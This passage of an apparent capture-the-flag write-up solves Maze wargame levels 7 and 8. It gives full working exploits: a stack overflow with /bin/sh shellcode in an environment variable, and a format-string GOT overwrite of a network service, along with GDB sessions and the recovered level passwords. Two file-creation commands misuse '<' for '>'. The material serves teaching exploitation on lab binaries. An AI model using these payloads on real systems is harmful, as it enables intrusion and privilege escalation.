void Print_Shdrs(int fd, int offset, int shstrndx, int num, size_t size) {
void *__buf;
void *__buf_00;
char sdata[40];
char *strs;
Elf32_Shdr *shdr;
char *strdata;
int i;
lseek(fd, offset, 0);
__buf = malloc(num * 40);
read(fd, __buf, num * 40);
lseek(fd, *(__off_t *) ((int) __buf + shstrndx * 40 + 16), 0);
__buf_00 = malloc(*(size_t *) ((int) __buf + shstrndx * 40 + 20));
read(fd, __buf_00, *(size_t *) ((int) __buf + shstrndx * 40 + 20));
lseek(fd, offset, 0);
puts("\nNo Name\t\tAddress\t\tSize");
for (i = 0; i <= num; i++) {
read(fd, sdata, size);
printf("%2d: %-16s\t0x%08x\t0x%04x\n", i, (int) __buf_00 + sdata._0_4_, sdata._12_4_, sdata._20_4_);
}
putchar('\n');
free(__buf_00);
free(__buf);
return;
}
This time, there is a Buffer Overflow vulnerability at read(fd, sdata, size);
inside Print_Shdrs
, because sdata
has 40 bytes assigned as buffer and we can control the size
variable, which is the number of bytes that will be inserted into sdata
.
The variable size
comes from ehdr.e_shentsize
inside the main
function. We can control this field with the given file. Let’s try it in GDB:
maze7@maze:~$ python3 -c 'print("".join(chr(c) * 4 for c in range(0x41, 0x5b)))'
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
maze7@maze:~$ python3 -c 'print("".join(chr(c) * 4 for c in range(0x41, 0x5b)))' < /tmp/file.txt
maze7@maze:~$ xxd /tmp/file.txt
00000000: 4141 4141 4242 4242 4343 4343 4444 4444 AAAABBBBCCCCDDDD
00000010: 4545 4545 4646 4646 4747 4747 4848 4848 EEEEFFFFGGGGHHHH
00000020: 4949 4949 4a4a 4a4a 4b4b 4b4b 4c4c 4c4c IIIIJJJJKKKKLLLL
00000030: 4d4d 4d4d 4e4e 4e4e 4f4f 4f4f 5050 5050 MMMMNNNNOOOOPPPP
00000040: 5151 5151 5252 5252 5353 5353 5454 5454 QQQQRRRRSSSSTTTT
00000050: 5555 5555 5656 5656 5757 5757 5858 5858 UUUUVVVVWWWWXXXX
00000060: 5959 5959 5a5a 5a5a 0a YYYYZZZZ.
maze7@maze:~$ gdb -q /maze/maze7
Reading symbols from /maze/maze7...done.
(gdb) set pagination off
(gdb) disassemble main
Dump of assembler code for function main:
0x080486d2 <+0>: push %ebp
0x080486d3 <+1>: mov %esp,%ebp
0x080486d5 <+3>: push %ebx
0x080486d6 <+4>: sub $0x38,%esp
0x080486d9 <+7>: cmpl $0x1,0x8(%ebp)
0x080486dd <+11>: jg 0x80486f9 <main+39>
...
0x08048777 <+165>: pushl -0x8(%ebp)
0x0804877a <+168>: call 0x804859b <Print_Shdrs>
0x0804877f <+173>: add $0x14,%esp
0x08048782 <+176>: pushl -0x8(%ebp)
0x08048785 <+179>: call 0x8048480 <close@plt>
0x0804878a <+184>: add $0x4,%esp
0x0804878d <+187>: mov $0x0,%eax
0x08048792 <+192>: mov -0x4(%ebp),%ebx
0x08048795 <+195>: leave
0x08048796 <+196>: ret
End of assembler dump.
Let’s set a breakpoint before calling Print_Shdrs
and look at the parameters:
(gdb) break *0x0804877a
Breakpoint 1 at 0x804877a: file maze7.c, line 83.
(gdb) run /tmp/file.txt
Starting program: /maze/maze7 /tmp/file.txt
Dumping section-headers of program /tmp/file.txt
Breakpoint 1, 0x0804877a in main (argc=2, argv=0xffffd784) at maze7.c:83
83 maze7.c: No such file or directory.
(gdb) x/16x $esp
0xffffd698: 0x00000003 0x49494949 0x00004d4d 0x00004d4d
0xffffd6a8: 0x00004c4c 0x41414141 0x42424242 0x43434343
0xffffd6b8: 0x44444444 0x45454545 0x46464646 0x47474747
0xffffd6c8: 0x48484848 0x49494949 0x4a4a4a4a 0x4b4b4b4b
We care about the fifth parameter, which is 0x00004c4c
this time (where we had LLLL
in the file).
Let’s put a breakpoint at the vulnerable read
instruction and see if it reaches the breakpoint:
(gdb) disassemble Print_Shdrs
Dump of assembler code for function Print_Shdrs:
0x0804859b <+0>: push %ebp
0x0804859c <+1>: mov %esp,%ebp
0x0804859e <+3>: push %ebx
0x0804859f <+4>: sub $0x38,%esp
0x080485a2 <+7>: push $0x0
0x080485a4 <+9>: pushl 0xc(%ebp)
0x080485a7 <+12>: pushl 0x8(%ebp)
0x080485aa <+15>: call 0x8048410 <lseek@plt>
0x0804864e <+179>: call 0x8048430 <puts@plt>
0x08048653 <+184>: add $0x4,%esp
0x08048656 <+187>: movl $0x0,-0x8(%ebp)
0x0804865d <+194>: jmp 0x80486a4 <Print_Shdrs+265>
0x0804865f <+196>: pushl 0x18(%ebp)
0x08048662 <+199>: lea -0x3c(%ebp),%eax
0x08048665 <+202>: push %eax
0x08048666 <+203>: pushl 0x8(%ebp)
0x08048669 <+206>: call 0x80483e0 <read@plt>
0x0804866e <+211>: add $0xc,%esp
0x08048671 <+214>: lea -0x3c(%ebp),%eax
0x080486c4 <+297>: call 0x8048400 <free@plt>
0x080486c9 <+302>: add $0x4,%esp
0x080486cc <+305>: nop
0x080486cd <+306>: mov -0x4(%ebp),%ebx
0x080486d0 <+309>: leave
0x080486d1 <+310>: ret
End of assembler dump.
(gdb) break *0x08048669
Breakpoint 2 at 0x8048669: file maze7.c, line 51.
(gdb) continue
Continuing.
No Name Address Size
Breakpoint 2, 0x08048669 in Print_Shdrs (fd=3, offset=1229539657, shstrndx=19789, num=19789, size=19532) at maze7.c:51
51 in maze7.c
(gdb) continue
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xf7e87ce1 in ?? () from /lib32/libc.so.6
(gdb) quit
The program crashes because of the arguments we are passing to Print_Shdrs
. Let’s fill the file with null bytes until the position where we control size
:
maze7@maze:~$ python3 -c 'print("\0" * 44 + "ABCD" + "\0" * 40)' < /tmp/file.txt
maze7@maze:~$ xxd /tmp/file.txt
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000020: 0000 0000 0000 0000 0000 0000 4142 4344 ............ABCD
00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000050: 0000 0000 0000 0000 0a .........
maze7@maze:~$ gdb -q /maze/maze7
Reading symbols from /maze/maze7...done.
(gdb) break *0x0804877a
Breakpoint 1 at 0x804877a: file maze7.c, line 83.
(gdb) run /tmp/file.txt
Starting program: /maze/maze7 /tmp/file.txt
Dumping section-headers of program /tmp/file.txt
Breakpoint 1, 0x0804877a in main (argc=2, argv=0xffffd784) at maze7.c:83
83 maze7.c: No such file or directory.
(gdb) x/16x $esp
0xffffd698: 0x00000003 0x00000000 0x00000000 0x00000000
0xffffd6a8: 0x00004443 0x00000000 0x00000000 0x00000000
0xffffd6b8: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd6c8: 0x00000000 0x00000000 0x00000000 0x00000000
We know that we can control two bytes (0x00004443
, CD
), that will be copied to size
. Now, let’s add something more recognizable after CD
:
maze7@maze:~$ python3 -c 'print("\0" * 44 + "ABCD" + "".join(chr(c) * 4 for c in range(0x41, 0x46)))' < /tmp/file.txt
maze7@maze:~$ xxd /tmp/file.txt
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000020: 0000 0000 0000 0000 0000 0000 4142 4344 ............ABCD
00000030: 4141 4141 4242 4242 4343 4343 4444 4444 AAAABBBBCCCCDDDD
00000040: 4545 4545 0a EEEE.
maze7@maze:~$ gdb -q /maze/maze7
Reading symbols from /maze/maze7...done.
(gdb) break *0x08048669
Breakpoint 1 at 0x8048669: file maze7.c, line 51.
(gdb) run /tmp/file.txt
Starting program: /maze/maze7 /tmp/file.txt
Dumping section-headers of program /tmp/file.txt
No Name Address Size
Breakpoint 1, 0x08048669 in Print_Shdrs (fd=3, offset=0, shstrndx=16705, num=16705, size=17475) at maze7.c:51
51 maze7.c: No such file or directory.
(gdb) c
Continuing.
1111638594: (null) 0x00000000 0x0000
Program received signal SIGSEGV, Segmentation fault.
0xf7e84016 in free () from /lib32/libc.so.6
(gdb) info registers
eax 0x0 0
ecx 0x41414141 1094795585
edx 0x41414139 1094795577
ebx 0xf7fc5000 -134459392
esp 0xffffd640 0xffffd640
ebp 0xffffd690 0xffffd690
esi 0x2 2
edi 0xf7fc5000 -134459392
eip 0xf7e84016 0xf7e84016 <free+38>
eflags 0x10206 [ PF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) quit
Now it crashes, we see that $ecx
has 0x41414141
(AAAA
) as value. Let’s add more null bytes between ABCD
and AAAA
and see what happens:
maze7@maze:~$ python3 -c 'print("\0" * 44 + "ABCD" + "\0" * 4 + "".join(chr(c) * 4 for c in range(0x41, 0x45)))' < /tmp/file.txt
maze7@maze:~$ xxd /tmp/file.txt
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000020: 0000 0000 0000 0000 0000 0000 4142 4344 ............ABCD
00000030: 0000 0000 4141 4141 4242 4242 4343 4343 ....AAAABBBBCCCC
00000040: 4444 4444 0a DDDD.
maze7@maze:~$ gdb -q /maze/maze7
Reading symbols from /maze/maze7...done.
(gdb) break *0x08048669
Breakpoint 1 at 0x8048669: file maze7.c, line 51.
(gdb) run /tmp/file.txt
Starting program: /maze/maze7 /tmp/file.txt
Dumping section-headers of program /tmp/file.txt
No Name Address Size
Breakpoint 1, 0x08048669 in Print_Shdrs (fd=3, offset=0, shstrndx=0, num=0, size=17475) at maze7.c:51
51 maze7.c: No such file or directory.
(gdb) c
Continuing.
1094795585: (null) 0x00000000 0x0000
Program received signal SIGSEGV, Segmentation fault.
0x44444444 in ?? ()
(gdb) quit
Alright, now we have control over $eip
(0x44444444
, DDDD
). Now it’s time to run shellcode. The simplest way will be to jump to an environment variable loaded on the stack, as in previous levels. We can use the previous program called envaddr
to know the address where the variable will be located:
maze7@maze:/tmp$ export TEST=$(python3 -c 'import os; os.write(1, b"\x90" * 200 + b"\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\xcd\x80")')
maze7@maze:/tmp$ ./envaddr TEST /maze/maze7
TEST will be at 0xffffde0f
Now we create the file (adding some offset to the stack address to jump to the nop
instructions) and done:
maze7@maze:/tmp$ python3 -c 'import os; os.write(1, b"\0" * 44 + b"ABCD" + b"\0" * 16 + b"\x20\xde\xff\xff")' > /tmp/file.txt
maze7@maze:/tmp$ /maze/maze7 /tmp/file.txt
Dumping section-headers of program /tmp/file.txt
No Name Address Size
0: (null) 0x00000000 0x0000
$ whoami
maze8
$ cat /etc/maze_pass/maze8
pohninieng
Level 8 -> 9
This time, the binary /maze/maze8
will run a program that listens on a given port (defaults to 1337) and expects a password:
int main(int argc, char **argv) {
int iVar1;
int iVar2;
__pid_t _Var3;
size_t sVar4;
ssize_t sVar5;
char replybuf[532];
char buf[512];
int sopt;
sockaddr_in serv;
int bytes;
int client_sock;
int serv_sock;
char *answer;
char *question;
int port;
answer = "god";
port._0_2_ = 1337;
if (argc == 2) {
iVar1 = atoi(argv[1]);
port._0_2_ = (uint16_t) iVar1;
}
iVar1 = socket(2, 1, 6);
if (iVar1 == -1) {
perror("socket()");
/* WARNING: Subroutine does not return */
exit(1);
}
setsockopt(iVar1, 1, 2, &sopt, 4);
serv.sin_family = 2;
serv.sin_port = htons((uint16_t) port);
serv.sin_addr = 0;
memset(serv.sin_zero, 0, 8);
iVar2 = bind(iVar1, (sockaddr *) &serv, 0x10);
if (iVar2 == -1) {
perror("bind()");
/* WARNING: Subroutine does not return */
exit(1);
}
iVar2 = listen(iVar1, 5);
if (iVar2 == -1) {
perror("listen()");
/* WARNING: Subroutine does not return */
exit(1);
}
alarm(0x4b0);
signal(0xe, alrm);
signal(0x11, (__sighandler_t) 0x1);
while( true ) {
client_sock = accept(iVar1, (sockaddr *) 0x0, (socklen_t *) 0x0);
_Var3 = fork();
if (_Var3 == 0) break;
close(client_sock);
}
sVar4 = strlen("Give the correct password to proceed: ");
send(client_sock, "Give the correct password to proceed: ", sVar4, 0);
sVar5 = recv(client_sock,buf, 0x1ff, 0);
buf[sVar5] = '\0';
iVar1 = strcmp(answer, buf);
if (iVar1 == 0) {
replybuf._0_4_ = 0x2e727245;
replybuf._4_4_ = 0x49202e2e;
replybuf._8_4_ = 0x73617720;
replybuf._12_4_ = 0x73756a20;
replybuf._16_4_ = 0x6f6a2074;
replybuf._20_4_ = 0x676e696b;
replybuf._24_4_ = 0x202e2e2e;
replybuf._28_4_ = 0x2c736579;
replybuf._32_4_ = 0x206f6720;
replybuf._36_4_ = 0x79617761;
replybuf._40_2_ = 0xa2e;
replybuf[42] = '\0';
}
else {
snprintf(replybuf, 0x200, buf);
sVar4 = strlen(replybuf);
*(undefined4 *)(replybuf + (sVar4 - 1)) = 0x20736920;
*(undefined4 *)(replybuf + sVar4 + 3) = 0x6e6f7277;
*(undefined4 *)(replybuf + sVar4 + 7) = 0x5f5e2067;
*(undefined2 *)(replybuf + sVar4 + 0xb) = 0xa5e;
replybuf[sVar4 + 0xd] = '\0';
}
sVar4 = strlen(replybuf);
send(client_sock, replybuf, sVar4, 0);
/* WARNING: Subroutine does not return */
_exit(0);
}
We can start the server in one shell session and then interact from another one:
maze8@maze:~$ /maze/maze8
Despite the password is hard-coded in the binary, the server always says it is wrong:
maze8@maze:~$ nc 127.0.0.1 1337
Give the correct password to proceed: god
god is wrong ^_^
maze8@maze:~$ nc 127.0.0.1 1337
Give the correct password to proceed: asdf
asdf is wrong ^_^
The program is calling snprintf
using a user-controlled variable (buf
) as the format string specifier. Hence, it has a Format String vulnerability. It can be tested as follows:
maze8@maze:~$ nc 127.0.0.1 1337
Give the correct password to proceed: %x.%x.%x.%x.%x.%x.%x.%x.%x
3de00e00.30306530.3330332e.33353630.33332e30.33333033.332e6532.33353333.2e303336 is wrong ^_^
This vulnerability allows to read arbitrary values from memory, but also to write arbitrary values.
First of all, we must discover the position in the stack where the actual input string is being stored. This can be done putting som recognizable characters at the beginning and using several %x
(format string specifier to print data in hexadecimal digits):
maze8@maze:~$ nc 127.0.0.1 1337
Give the correct password to proceed: AAAA %x.%x.%x.%x.%x.%x.%x
AAAA 41414141.34313420.34313431.34332e31.34333133.332e3032.33313334 is wrong ^_^
And we see that the first %x
prints 41414141
(which is AAAA
in hexadecimal). So, whatever we put on the first 4 bytes will be at position 1 in the stack. We can verify it like this:
maze8@maze:~$ nc 127.0.0.1 1337
Give the correct password to proceed: AAAA %1$x
AAAA 41414141 is wrong ^_^
And moreover, if we add more data and use %2$x
we will get more values:
maze8@maze:~$ nc 127.0.0.1 1337
Give the correct password to proceed: AAAABBBB %1$x %2$x
AAAABBBB 41414141 42424242 is wrong ^_^
Now it is time to introduce the format string %n
. This one allows to write the number of characters printed until the format string %n
into the address of the variable that is being pointed.
For example, if we entered AAAA %1$n
, the program will enter 0x00000005
at address 0x41414141
. But this is just an example, the idea now is to overwrite an entry of the Global Offset Table to point to some malicious shellcode.
After snprintf
the program calls strlen
and _exit
. We can overwrite any of them, but I will use _exit
. The address of _exit
at GOT is the following:
maze8@maze:~$ objdump -R /maze/maze8 | grep _exit
08049d18 R_386_JUMP_SLOT _exit@GLIBC_2.0
Now the idea is to put 0x08049d18
(in little-endian format) where we had AAAA
on the previous example and write to this address using %n
. To test it, let’s run the server using GDB. It will be useful to set a breakpoint after snprintf
:
maze8@maze:~$ gdb -q /maze/maze8
Reading symbols from /maze/maze8...done.
(gdb) source /usr/local/peda/peda.py
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x08048795 <+0>: push ebp
0x08048796 <+1>: mov ebp,esp
0x08048798 <+3>: sub esp,0x440
...
0x0804899d <+520>: call 0x8048600 <snprintf@plt>
0x080489a2 <+525>: add esp,0xc
0x080489a5 <+528>: lea eax,[ebp-0x440]
0x080489ab <+534>: push eax
0x080489ac <+535>: call 0x80485c0 <strlen@plt>
...
0x080489f9 <+612>: call 0x8048670 <send@plt>
0x080489fe <+617>: add esp,0x10
0x08048a01 <+620>: push 0x0
0x08048a03 <+622>: call 0x8048550 <_exit@plt>
0x08048a08 <+627>: push DWORD PTR [ebp-0x14]
0x08048a0b <+630>: call 0x8048660 <close@plt>
0x08048a10 <+635>: add esp,0x4
0x08048a13 <+638>: jmp 0x80488b8 <main+291>
End of assembler dump.
gdb-peda$ break *0x080489a2
Breakpoint 1 at 0x80489a2: file maze8.c, line 82.
Because the server forks whenever a connection is received, we need to set GDB to follow the child process:
gdb-peda$ set follow-fork-mode child
gdb-peda$ run 1338
Starting program: /maze/maze8 1338
^C
Program received signal SIGINT, Interrupt.
...
Stopped reason: SIGINT
0xf7fd7c99 in __kernel_vsyscall ()
gdb-peda$ x 0x08049d18
0x8049d18: 0x08048556
gdb-peda$ continue
Continuing.
Now we can test the format string explained before:
maze8@maze:~$ echo -e '\x18\x9d\x04\x08%1$n' | nc 127.0.0.1 1338
Give the correct password to proceed:
And the server stops at the breakpoint. Now we can examine the address 0x08049d18
(which is the entry for _exit
at the GOT):
gdb-peda$ x 0x08049d18
0x8049d18: 0x00000004
As expected, we have written a value of 0x00000004
because we have printed 4 characters before the format string %n
.
In order to write a stack address such as an environment variable, we need to enter some value greater than 0xfffdd000
(the beginning of the stack space). Hence, we would need to print a huge amount of characters (which is impossible to handle).
The solution is to use format strings like %hn
and %hhn
, that overwrites 2 bytes and 1 byte each other. For the moment, let’s use only %hn
:
gdb-peda$ run 1339
Starting program: /maze/maze8 1339
maze8@maze:~$ echo -e '\x18\x9d\x04\x08%1$hn' | nc 127.0.0.1 1339
Give the correct password to proceed:
gdb-peda$ x 0x08049d18
0x8049d18: 0x08040004
Alright, we have overwritten the last 2 bytes of the address with 0x0004
.
Let’s add an environment variable with shellcode, as in previous levels, and restart GDB:
maze8@maze:~$ export TEST=$(python3 -c 'import os; os.write(1, b"\x90" * 200 + b"\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\xcd\x80")')
maze8@maze:~$ gdb -q /maze/maze8
Reading symbols from /maze/maze8...done.
(gdb) source /usr/local/peda/peda.py
gdb-peda$ set follow-fork-mode child
gdb-peda$ break *0x080489a2
Breakpoint 1 at 0x80489a2: file maze8.c, line 82.
We have put a lot of nop
instructions ("\x90"
) to prevent issues when exploiting the binary without GDB.
Now we can see the position in the stack where the environment variable TEST
is stored:
gdb-peda$ start
...
gdb-peda$ find TEST
Searching for 'TEST' in: None ranges
Found 2 results, display max 2 items:
libc : 0xf7f6fd88 ("TEST")
[stack] : 0xffffdd6e ("TEST=", '\220' <repeats 195 times>...)
So, we need to write 0xffffdd6e
into the entry of _exit
in the GOT (0x08049d18
). For the moment, let’s put 0xdd80
into the last 2 bytes (a little offset has been added to the address of the environment variable). For that, we need to write 0xdd80 = 56704
characters, which can be done with another format string (%c
).
Notice that we have already 4 bytes written (the address), so using a format string like %56700c
will be enough:
gdb-peda$ run 1340
Starting program: /maze/maze8 1340
maze8@maze:~$ echo -e '\x18\x9d\x04\x08%56700c%1$hn' | nc 127.0.0.1 1340
Give the correct password to proceed:
gdb-peda$ x 0x08049d18
0x8049d18: 0x0804dd80
Nice, now we need to change the first 2 bytes. For that, we need to enter 0xffff
into address 0x08049d18 + 2 = 0x08049d1a
. However, notice that we have already printed 0xdd80
bytes, so we need 0xffff - 0xdd80 = 8831
additional characters.
In order to perform both write processes, we can use the fact that the first 4 bytes of the input string will be set to position 1 in the stack and the next 4 bytes will be at position 2 in the stack. Hence, we will put "\x18\x9d\x04\x08\x1a\x9d\x04\x08"
at the beginning (8 characters), so that we need to change %56700c
to %56696c
(not strictly necessary because we have a lot of nop
instructions). This will be the final payload:
gdb-peda$ run 1341
Starting program: /maze/maze8 1341
maze8@maze:~$ echo -e '\x18\x9d\x04\x08\x1a\x9d\x04\x08%56696c%1$hn%8831c%2$hn' | nc 127.0.0.1 1341
Give the correct password to proceed:
gdb-peda$ x 0x08049d18
0x8049d18: 0xffffdd80
And we see that the GOT entry of _exit
is modified to the desired value. Now if we continue, GDB will try to spawn a shell:
gdb-peda$ continue
Continuing.
process 1730 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x80489a2
Now we are good to go and send our payload without GDB:
maze8@maze:~$ /maze/maze8
maze8@maze:~$ echo -e '\x18\x9d\x04\x08\x1a\x9d\x04\x08%56696c%1$hn%8831c%2$hn' | nc 127.0.0.1 1337
Give the correct password to proceed is wrong ^_^
maze8@maze:~$ export TEST=$(python3 -c 'import os; os.write(1, b"\x90" * 200 + b"\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\xcd\x80")')
maze8@maze:~$ /maze/maze8
$ whoami
maze9
$ cat /etc/maze_pass/maze9
jopieyahng
And done. If we enter as maze9
, we will see a “congratulations” message:
maze9@maze:~$ ls
CONGRATULATIONS